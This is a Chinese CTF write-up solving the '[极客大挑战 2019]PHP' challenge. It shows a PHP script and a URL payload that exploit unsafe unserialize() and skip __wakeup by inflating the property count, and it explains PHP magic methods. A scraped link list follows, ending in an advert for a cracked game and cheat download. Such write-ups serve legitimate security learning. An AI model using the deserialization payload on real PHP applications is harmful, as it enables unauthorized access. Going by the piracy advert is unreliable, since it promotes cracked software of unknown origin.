当前位置: 首页 > news >正文

web:[极客大挑战 2019]PHP

题目

点进页面显示如下

根据页面提示,这个网站有备份文件,备份文件一般是bak文件格式,用dirsearch扫描

访问之后下载了一个文件

里面都是一些代码

在index.php中发现了一个类的文件,一个get传参,然后将传进的值进行反序列化

在class.php中,如果username===admin,password=100,返回flag

构造一个反序列化

<?phpclass Name{private $username = "admin";private $password = 100;
}
$a = new Name();
$str=serialize($a);
echo $str;
?>

Name和password之间有不可见字符,private声明的字段为私有字段,只在所声明的类中课件,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上ascii为0的字符(不可见字符)

所以因改为

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

这里还需要绕过__wakeup函数

构造payload

?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

总结

1.从__destruct,__construct,__wakeup可以判断存在反序列化漏洞

2.php序列化与反序列化
序列化:函数为serialize(),把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等
反序列化:函数为unserialize(),将字符串转换成变量或对象的过程
常用的内置方法:
__construct():创建对象时初始化,当一个对象创建时被调用
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruction():结束时销毁对象,当一个对象销毁时被调用

3.private声明的字段为私有字段,只在所声明的类中课件,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上ascii为0的字符(不可见字符)

4.__wakeup函数绕过

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
原本:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
绕过:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

参考学习链接:

[极客大挑战 2019]PHP

[极客大挑战 2019]PHP unserialize_buuctf [极客大挑战 2019]php-CSDN博客

相关文章:

web:[极客大挑战 2019]PHP

题目 点进页面显示如下 根据页面提示&#xff0c;这个网站有备份文件&#xff0c;备份文件一般是bak文件格式&#xff0c;用dirsearch扫描 访问之后下载了一个文件 里面都是一些代码 在index.php中发现了一个类的文件&#xff0c;一个get传参&#xff0c;然后将传进的值进行反序…...

Firefox 开发团队对 Vue 3 进行优化效果显著

Mozilla 官方博客近日发表文章《Faster Vue.js Execution in Firefox》&#xff0c;介绍了 Firefox 开发团队对 Vue 3 进行的优化。 文章写道&#xff0c;在使用 Speedometer 3 对 Firefox 进行基准测试时&#xff0c;他们发现 Vue.js test 的测试结果从 Vue 2 升级到 Vue 3 后…...

【Verilog 教程】6.5 Verilog避免Latch

关键词&#xff1a;触发器&#xff0c;锁存器 Latch 的含义 锁存器&#xff08;Latch&#xff09;&#xff0c;是电平触发的存储单元&#xff0c;数据存储的动作取决于输入时钟&#xff08;或者使能&#xff09;信号的电平值。仅当锁存器处于使能状态时&#xff0c;输出才会随着…...

怒刷LeetCode的第21天(Java版)

目录 第一题 题目来源 题目内容 解决方法 方法一&#xff1a;哈希表 方法二&#xff1a;计数器数组 第二题 题目来源 题目内容 解决方法 方法一&#xff1a;分治法 方法二&#xff1a;快速幂 迭代 方法三&#xff1a;快速幂 递归 第三题 题目来源 题目内容 …...

Armv9 Cortex-A720的L2 memory system 和 L2 Cache

9 L2 memory system Cortex-A720核心的L2内存系统通过CPU bridge连接core与DynamIQ Shared Unit-120,其中包括私有的L2缓存。 L2缓存是统一的,每个Cortex-A720核心在一个集群中都有私有的L2缓存。 L2内存系统包括使用虚拟地址(VA)和程序计数器(PC)的数据预取引擎。不同…...

蓝桥等考Python组别九级003

第一部分:选择题 1、Python L9 (15分) 运行下面程序,可以输出几行“*”?( ) for i in range(3): for j in range(4): print(*, end = ) print() 6374正确答案:B 2、Python L9...

Python异步框架大战:FastAPI、Sanic、Tornado VS Go 的 Gin

一、前言 异步编程在构建高性能 Web 应用中起着关键作用&#xff0c;而 FastAPI、Sanic、Tornado 都声称具有卓越的性能。本文将通过性能压测对这些框架与Go的Gin框架进行全面对比&#xff0c;揭示它们之间的差异。 原文&#xff1a;Python异步框架大战&#xff1a;FastAPI、Sa…...

Docker笔记1

一、Docker介绍 Docker是一个开源的应用容器引擎&#xff0c;基于Go语言并遵从Apache2.0协议开源 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中&#xff0c;然后发布到任何流行的Linux机器上&#xff0c;也可以实现虚拟化。 容器是完全使用沙箱机制&a…...

TensorFlow-Federated简介与安装

1、简介 TensorFlow Federated&#xff08;TFF&#xff09;是一个用于机器学习和其他分布式数据计算的开源框架。TFF 的开发旨在促进联邦学习 &#xff08;FL&#xff09;的开放研究和实验。联邦学习是一种机器学习方法&#xff0c;其中一个共享的全局模型在许多参与的客户之间…...

【强化学习】基础概念

1. Agent (智能体) 智能体是进行决策和学习的实体&#xff0c;它能感知环境的状态&#xff0c;并基于策略采取动作以影响环境。智能体的目标是通过与环境的交互获得最大化的累积奖励。 2. Environment (环境) 环境是智能体所处的外部系统&#xff0c;它与智能体交互。环境的…...

云原生Kubernetes:K8S集群各组件服务重启

目录 一、理论 1.各组件服务重启命令 一、理论 1.各组件服务重启命令 &#xff08;1&#xff09;Master节点Node节点共同服务 systemctl restart etcd systemctl daemon-reload systemctl enable flanneld systemctl restart flanneld &#xff08;2&#xff09;Master节…...

闲话Python编程-循环

1. for循环 Python的for语句有点特别&#xff0c;只能对序列和字符串进行处理&#xff0c;序列自然包括list、tuple和range对象。 #!/usr/bin/env python3 # -*- coding: utf-8 -*- # 练习for语句def loop_for():names [Tom, Jack, Black]for name in names:print(name)s ab…...

建筑能源管理(3)——建筑能源监管

为了全面落实科学发展观&#xff0c;提高建筑能源管理水平&#xff0c;进一步降低能源和水资源消耗、合理利用资源&#xff0c;以政府办公建筑和大型公共建筑的运行节能管理为突破口&#xff0c;建立了既有政府办公建筑和大型公共建筑运行节能监管体系&#xff0c;旨在提高政府…...

中国逐年干燥度指数数据集

简介&#xff1a; 中国逐年干燥度指数&#xff0c;空间分辨率为1km&#xff0c;时间为1901-2022&#xff0c;为比值&#xff0c;没有单位。该数据集是基于中国1km逐月潜在蒸散发&#xff08;PET&#xff09;和降水量&#xff08;PRE&#xff09;采用比值法计算式得到&#xff…...

Azure Arc 概要:功能、管理和应用场景详解,AZ900 考点示例

文章目录 本文大纲一、什么是 Azure Arc二、使用 Azure Arc 可以做什么操作三、使用 Azure Arc 可以管理什么资源3.1 如何使用Azure Arc与服务器? 四、Azure Arc 支持的主要场景五、在 AZ900 中的考点示例5.1 示例题 15.2 示例题 2 本文大纲 本文思维导图概述的主要内容&…...

JavaScript Web APIs第一天笔记

复习&#xff1a; splice() 方法用于添加或删除数组中的元素。 **注意&#xff1a;**这种方法会改变原始数组。 删除数组&#xff1a; splice(起始位置&#xff0c; 删除的个数) 比如&#xff1a;1 let arr [red, green, blue] arr.splice(1,1) // 删除green元素 consol…...

十六.镜头知识之工业镜头的质量判断因素

十六.镜头知识之工业镜头的质量判断因素 文章目录 十六.镜头知识之工业镜头的质量判断因素1.分辨率(Resolution)2.明锐度(Acutance)3.景深(DOF)&#xff1a;4. 最大相对孔径与光圈系数5.工业镜头各参数间的相互影响关系5.1.焦距大小的影响情况5.2.光圈大小的影响情况5.3.像场中…...

网络协议--概述

1.2 分层 网络协议通常分不同层次进行开发&#xff0c;每一层分别负责不同的通信功能。一个协议族&#xff0c;比如TCP/IP&#xff0c;是一组不同层次上的多个协议的组合。 TCP/IP通常被认为是一个四层协议系统&#xff0c;如图1-1所示。每一层负责不同的功能&#xff1a; 1.链…...

aarch64 平台 musl gcc 工具链手动编译方法

目标 手动编译一个 aarch64 平台的 musl gcc 工具链 musl libc 与 glibc、uclibc 等,都是 标准C 库, musl libc 是基于系统调用之上的 标准C 库,也就是用户态的 标准C 库。 musl libc 轻量、开源、免费,是一些 操作系统的选择,当前 Lite-OS 与 RT-Smart 等均采用自制的 mu…...

计算机图像处理-高斯滤波

高斯滤波 高斯滤波是一种线性平滑滤波&#xff0c;适用于消除高斯噪声&#xff0c;广泛应用于图像处理的减噪过程。通俗的讲&#xff0c;高斯滤波就是对整幅图像进行加权平均的过程&#xff0c;每一个像素点的值&#xff0c;都由其本身和邻域内的其他像素值经过加权平均后得到…...

上午题_程序设计语言

编译程序和解释程序...

智能产品系统架构分析 - 智能办公系统架构分层

方向&#xff1a;方案分析、架构设计、模块分解 智能产品系统架构分析&#xff1a;智能办公系统架构分层。 对智能办公系统进行架构分层分析&#xff0c;给出实例、UML建模、项目结构等。 “智能产品系统架构分析&#xff1a;智能办公系统架构分层”。 包含设备控制、预约管…...

告别龟速下载!实测对比Axel、Aria2、mwget三大神器,教你选对多线程工具

三大命令行下载神器深度横评&#xff1a;Axel、Aria2与mwget的性能对决 当你在终端里反复输入wget或curl命令&#xff0c;盯着缓慢增长的进度条时&#xff0c;是否想过还有更高效的解决方案&#xff1f;本文将带你深入探索Axel、Aria2和mwget这三款命令行下载加速工具&#xff…...

图神经网络与图Transformer在计算机视觉中的原理、应用与实战

1. 引言&#xff1a;当视觉任务遇上“关系”思维在计算机视觉领域&#xff0c;我们早已习惯了卷积神经网络&#xff08;CNN&#xff09;的统治地位。从ImageNet的图像分类&#xff0c;到Mask R-CNN的实例分割&#xff0c;CNN凭借其强大的局部特征提取能力&#xff0c;在像素网格…...

抖音下载器终极指南:从零开始掌握无水印批量下载技巧

抖音下载器终极指南&#xff1a;从零开始掌握无水印批量下载技巧 【免费下载链接】douyin-downloader A practical Douyin downloader for both single-item and profile batch downloads, with progress display, retries, SQLite deduplication, and browser fallback suppor…...

CodeBuddy ai对话框上面的git docs terminal Rulds 干嘛用的,以thinkphp fastadmin 为例,插件市场

CodeBuddy&#xff08;或同类 AI 编程助手&#xff09;里的**「上下文注入&#xff08;Context Injection&#xff09;」功能模块**&#xff0c;作用是把项目/环境信息喂给 AI&#xff0c;让它“看得懂你的项目”&#xff0c;而不是凭空瞎编代码。 插件市场###ai对对话框 逐个拆…...

Claw-ED:基于教学风格学习的AI助教,一键生成个性化教学包

1. 项目概述&#xff1a;一个为教师而生的AI教学助手 如果你是一位一线教师&#xff0c;每天被备课、写教案、做课件、设计学生活动、准备分层材料这些繁琐工作压得喘不过气&#xff0c;同时又对市面上那些“通用”的AI工具生成的、充满“AI腔”的教案感到失望&#xff0c;那么…...

我的Taotoken账单分析如何帮助优化模型选型与token消耗

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 我的Taotoken账单分析如何帮助优化模型选型与token消耗 在集成多个大模型API到实际业务或开发流程中&#xff0c;一个常见的困惑是…...

LeRobot:开源机器人学习的终极指南 - 从零到真实世界的AI机器人控制

LeRobot&#xff1a;开源机器人学习的终极指南 - 从零到真实世界的AI机器人控制 【免费下载链接】lerobot &#x1f917; LeRobot: Making AI for Robotics more accessible with end-to-end learning 项目地址: https://gitcode.com/GitHub_Trending/le/lerobot LeRobo…...

明末:渊虚之羽加修改器2026.5.12最新破解版免费下载 转存后自动更新 (看到请立即转存 资源随时失效)pc手机通用

游戏本体下载链接 修改器链接 由成都灵泽科技&#xff08;Leenzee Games&#xff09;开发&#xff0c;505 Games发行的动作角色扮演游戏《明末&#xff1a;渊虚之羽》&#xff08;WUCHANG: Fallen Feathers&#xff09;在近年来备受动作游戏玩家的关注。作为一款扎根于中国历…...